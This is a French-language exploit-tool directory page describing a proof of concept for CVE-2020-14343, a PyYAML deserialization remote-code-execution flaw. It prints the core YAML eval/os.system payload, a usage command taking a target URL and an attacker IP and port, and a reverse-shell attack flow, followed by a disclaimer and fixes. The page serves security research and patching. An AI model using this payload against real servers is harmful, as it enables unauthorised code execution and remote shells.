Répertoire d'outils
Catégories
CVE-2020-14343-PyYAML — CVE-2020-14343的payload | Kitploit
Outils / GitHub / kairo-one / cve-2020-14343-pyyaml
kairo-one/cve-2020-14343-pyyaml CVE-2020-14343-PyYAML CVE-2020-14343的payload
2 il y a 9 moisDécouvrez les outils les plus utilisés par notre communauté.
7 derniers jours 30 derniers jours
CVE-2020-14343 PyYAML — POC de la vulnérabilité de désérialisation
Aperçu de la vulnérabilité
Numéro CVE CVE-2020-14343 Composant affecté PyYAML < 5.4 Type de vulnérabilité Exécution de code à distance par désérialisation (RCE) Niveau de gravité Élevé
Principe de la vulnérabilité Lorsque PyYAML utilise yaml.load() pour analyser des données non fiables, il ne limite pas les balises YAML dangereuses (telles que !!python/object). Un attaquant peut alors construire un contenu YAML malveillant afin d'exécuter du code Python arbitraire.
Partie centrale du payload :
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('command')"]
Utilisation python poc.py <目标URL> <攻击者IP> <监听端口>
python poc.py http://vulnerable-site.com 192.168.1.100 4444
Déroulement de l'attaque
Le script démarre un écouteur TCP en local
Il téléverse le fichier YAML malveillant sur le point d'accès /upload de la cible
Il déclenche le point d'accès /login pour charger et analyser le YAML
Le serveur cible exécute le payload et renvoie un shell à l'attaquant
Installation des dépendances
Avis de non-responsabilité ⚠️ Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés !
Ne pas l'utiliser à des fins illégales
S'assurer d'avoir obtenu l'autorisation du système cible avant toute utilisation
L'auteur n'est pas responsable de toute utilisation abusive
Recommandations de correctifs
Utiliser yaml.safe_load() au lieu de yaml.load()
Mettre à niveau PyYAML vers la version 5.4 ou ultérieure
Valider strictement les entrées utilisateur
Liens de référence